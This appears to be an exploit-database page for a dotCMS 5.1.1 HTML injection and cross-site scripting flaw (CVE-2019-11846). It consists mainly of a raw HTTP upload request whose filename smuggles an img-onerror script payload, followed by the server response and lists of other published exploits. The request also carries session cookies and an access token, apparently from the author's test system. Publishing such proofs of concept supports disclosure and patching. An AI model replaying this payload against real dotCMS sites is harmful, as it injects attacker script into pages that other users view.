Menu

Search for hundreds of thousands of exploits

"dotCMS 5.1.1 - HTML Injection"

Author

Exploit author

"Ismail Tasdelen"

Platform

Exploit platform

jsp

Release date

Exploit published date

2019-05-10

Download file

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
# Exploit Title: dotCMS 5.1.1 - HTML Injection
# Date: 2019-05-09 
# Exploit Author: Ismail Tasdelen
# Vendor Homepage: https://dotcms.com/
# Software Link: https://github.com/dotCMS
# Software: dotCMS
# Product Version: 5.1.1
# Vulernability Type: Code Injection
# Vulenrability: HTML Injection and Cross-site Scripting
# CVE: CVE-2019-11846

# HTTP POST Request :

POST /servlets/ajax_file_upload?fieldName=binary3 HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:65.0) Gecko/20100101 Firefox/65.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://TARGET/c/portal/layout?p_l_id=b7ab5d3c-5ee0-4195-a17e-8f5579d718dd&p_p_id=site-browser&p_p_action=1&p_p_state=maximized&angularCurrentPortlet=site-browser&p_p_mode=view&_site_browser_struts_action=%2Fext%2Fcontentlet%2Fedit_contentlet&_site_browser_cmd=new&selectedStructure=33888b6f-7a8e-4069-b1b6-5c1aa9d0a48d&folder=SYSTEM_FOLDER&referer=/c/portal/layout%3Fp_l_id%3Db7ab5d3c-5ee0-4195-a17e-8f5579d718dd%26p_p_id%3Dsite-browser%26p_p_action%3D0%26p_p_state%3Dmaximized%26angularCurrentPortlet%3Dsite-browser%26p_p_mode%3Dview%26_site_browser_struts_action%3D%252Fext%252Fbrowser%252Fview_browser&in_frame=true&frame=detailFrame&container=true&angularCurrentPortlet=site-browser
Content-Type: multipart/form-data; boundary=---------------------------5890268631313811380287956669
Content-Length: 101313
DNT: 1
Connection: close
Cookie: messagesUtk=2366e7c3b5af4c8c93bb11d0c994848a; BACKENDID=172.18.0.3; JSESSIONID=65C16EFBEE5B7176B22083A0CA451F0A.c16f6b7d05d9; hs-messages-hide-welcome-message=true; access_token=eyJhbGciOiJIUzI1NiJ9.eyJqdGkiOiJkZGFlZmEzNS0yYmMyLTQ4MTEtOTRjNi0xNGE0OTk4YzFkNDAiLCJpYXQiOjE1NTczOTY0NzYsInVwZGF0ZWRfYXQiOjEyMDQ4MjQ5NjEwMDAsInN1YiI6ImRvdGNtcy5vcmcuMSIsImlzcyI6IjRiNTkyYjIyLTBiMmEtNGI2ZC05NmU4LTdjMzBiMzgzOTM1ZiJ9.F8_L_Cu96pkYcwTl4ex_zfrA-Fk-rqNUz24oCV0gOmc; DWRSESSIONID=EZToDkzmi*mMXCayMxskFA75sGm
Upgrade-Insecure-Requests: 1

-----------------------------5890268631313811380287956669
Content-Disposition: form-data; name="binary3FileUpload"; filename="\"><img src=x onerror=alert(\"ismailtasdelen\")> .json"
Content-Type: application/json

# HTTP Response :

HTTP/1.1 200 
Content-Length: 0
Date: Thu, 09 May 2019 10:23:44 GMT
Connection: close
Release Date Title Type Platform Author
2020-12-02 "aSc TimeTables 2021.6.2 - Denial of Service (PoC)" local windows "Ismael Nava"
2020-12-02 "DotCMS 20.11 - Stored Cross-Site Scripting" webapps multiple "Hardik Solanki"
2020-12-02 "NewsLister - Authenticated Persistent Cross-Site Scripting" webapps multiple "Emre Aslan"
2020-12-02 "Mitel mitel-cs018 - Call Data Information Disclosure" remote linux "Andrea Intilangelo"
2020-12-02 "ChurchCRM 4.2.0 - CSV/Formula Injection" webapps multiple "Mufaddal Masalawala"
2020-12-02 "Artworks Gallery 1.0 - Arbitrary File Upload RCE (Authenticated) via Edit Profile" webapps multiple "Shahrukh Iqbal Mirza"
2020-12-02 "Ksix Zigbee Devices - Playback Protection Bypass (PoC)" remote multiple "Alejandro Vazquez Vazquez"
2020-12-02 "Anuko Time Tracker 1.19.23.5311 - No rate Limit on Password Reset functionality" webapps php "Mufaddal Masalawala"
2020-12-02 "ChurchCRM 4.2.1 - Persistent Cross Site Scripting (XSS)" webapps multiple "Mufaddal Masalawala"
2020-12-02 "IDT PC Audio 1.0.6433.0 - 'STacSV' Unquoted Service Path" local windows "Manuel Alvarez"
Release Date Title Type Platform Author
2019-11-12 "Atlassian Confluence 6.15.1 - Directory Traversal" webapps jsp max7253
2019-11-12 "Atlassian Confluence 6.15.1 - Directory Traversal (Metasploit)" webapps jsp max7253
2019-09-16 "NetGain EM Plus 10.1.68 - Remote Command Execution" webapps jsp azams
2019-07-26 "Ahsay Backup 7.x - 8.1.1.50 - XML External Entity Injection" webapps jsp "Wietse Boonstra"
2019-07-26 "Ahsay Backup 7.x - 8.1.1.50 - Authenticated Arbitrary File Upload / Remote Code Execution (Metasploit)" webapps jsp "Wietse Boonstra"
2019-07-26 "Ahsay Backup 7.x - 8.1.1.50 - Authenticated Arbitrary File Upload / Remote Code Execution" webapps jsp "Wietse Boonstra"
2019-06-11 "Liferay Portal 7.1 CE GA=3 / SimpleCaptcha API - Cross-Site Scripting" webapps jsp "Valerio Brussani"
2019-06-05 "Zimbra < 8.8.11 - XML External Entity Injection / Server-Side Request Forgery" webapps jsp k8gege
2019-05-10 "dotCMS 5.1.1 - HTML Injection" webapps jsp "Ismail Tasdelen"
2019-03-11 "OpenKM 6.3.2 < 6.3.7 - Remote Command Execution (Metasploit)" webapps jsp AkkuS
Release Date Title Type Platform Author
2020-04-23 "Library CMS Powerful Book Management System 2.2.0 - Session Fixation" webapps php "Ismail Tasdelen"
2020-01-31 "FlexNet Publisher 11.12.1 - Cross-Site Request Forgery (Add Local Admin)" webapps php "Ismail Tasdelen"
2020-01-17 "GTalk Password Finder 2.2.1 - 'Key' Denial of Service (PoC)" dos windows "Ismail Tasdelen"
2020-01-17 "APKF Product Key Finder 2.5.8.0 - 'Name' Denial of Service (PoC)" dos windows "Ismail Tasdelen"
2020-01-16 "Tautulli 2.1.9 - Denial of Service ( Metasploit )" webapps multiple "Ismail Tasdelen"
2020-01-15 "Huawei HG255 - Directory Traversal ( Metasploit )" webapps hardware "Ismail Tasdelen"
2020-01-14 "IBM RICOH 6400 Printer - HTML Injection" webapps hardware "Ismail Tasdelen"
2020-01-14 "IBM RICOH InfoPrint 6500 Printer - HTML Injection" webapps hardware "Ismail Tasdelen"
2020-01-13 "SpotOutlook 1.2.6 - 'Name' Denial of Service (PoC)" dos windows "Ismail Tasdelen"
2020-01-13 "TaskCanvas 1.4.0 - 'Registration' Denial Of Service" dos windows "Ismail Tasdelen"
2020-01-13 "SpotDialup 1.6.7 - 'Name' Denial of Service (PoC)" dos windows "Ismail Tasdelen"
2020-01-13 "Backup Key Recovery 2.2.5 - 'Name' Denial of Service (PoC)" dos windows "Ismail Tasdelen"
2020-01-06 "NetShareWatcher 1.5.8.0 - 'Name' Denial Of Service" dos windows "Ismail Tasdelen"
2020-01-06 "Backup Key Recovery Recover Keys Crashed Hard Disk Drive 2.2.5 - 'Key' Denial of Service (PoC)" dos windows "Ismail Tasdelen"
2020-01-06 "RemShutdown 2.9.0.0 - 'Key' Denial of Service (PoC)" dos windows "Ismail Tasdelen"
2020-01-06 "BlueAuditor 1.7.2.0 - 'Name' Denial of Service (PoC)" dos windows "Ismail Tasdelen"
2020-01-06 "SpotIM 2.2 - 'Name' Denial Of Service" dos windows "Ismail Tasdelen"
2020-01-06 "SpotFTP FTP Password Recovery 3.0.0.0 - 'Name' Denial of Service (PoC)" dos windows "Ismail Tasdelen"
2020-01-06 "SpotDialup 1.6.7 - 'Key' Denial of Service (PoC)" dos windows "Ismail Tasdelen"
2020-01-06 "RemShutdown 2.9.0.0 - 'Name' Denial of Service (PoC)" dos windows "Ismail Tasdelen"
2020-01-06 "Subrion CMS 4.0.5 - Cross-Site Request Forgery (Add Admin)" webapps php "Ismail Tasdelen"
2020-01-06 "SpotMSN 2.4.6 - 'Name' Denial of Service (PoC)" dos windows "Ismail Tasdelen"
2020-01-06 "NetworkSleuth 3.0.0.0 - 'Key' Denial of Service (PoC)" dos windows "Ismail Tasdelen"
2020-01-06 "ShareAlarmPro Advanced Network Access Control - 'Key' Denial of Service (PoC)" dos windows "Ismail Tasdelen"
2020-01-06 "Dnss Domain Name Search Software - 'Name' Denial of Service (PoC)" dos windows "Ismail Tasdelen"
2020-01-06 "NBMonitor 1.6.6.0 - 'Key' Denial of Service (PoC)" dos windows "Ismail Tasdelen"
2020-01-06 "SpotIE 2.9.5 - 'Key' Denial of Service (PoC)" dos windows "Ismail Tasdelen"
2020-01-06 "NetShareWatcher 1.5.8.0 - 'Key' Denial of Service (PoC)" dos windows "Ismail Tasdelen"
2020-01-06 "Dnss Domain Name Search Software - 'Key' Denial of Service (PoC)" dos windows "Ismail Tasdelen"
2020-01-06 "IBM RICOH Infoprint 1532 Printer - Persistent Cross-Site Scripting" webapps hardware "Ismail Tasdelen" 
import requests
response = requests.get('http://127.0.0.1:8181?format=json')

For full documentation follow the link above

Cipherscan. Find out which SSL ciphersuites are supported by a target.

Cipher Protocols Sigalg Trusted

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.

Host WAF detected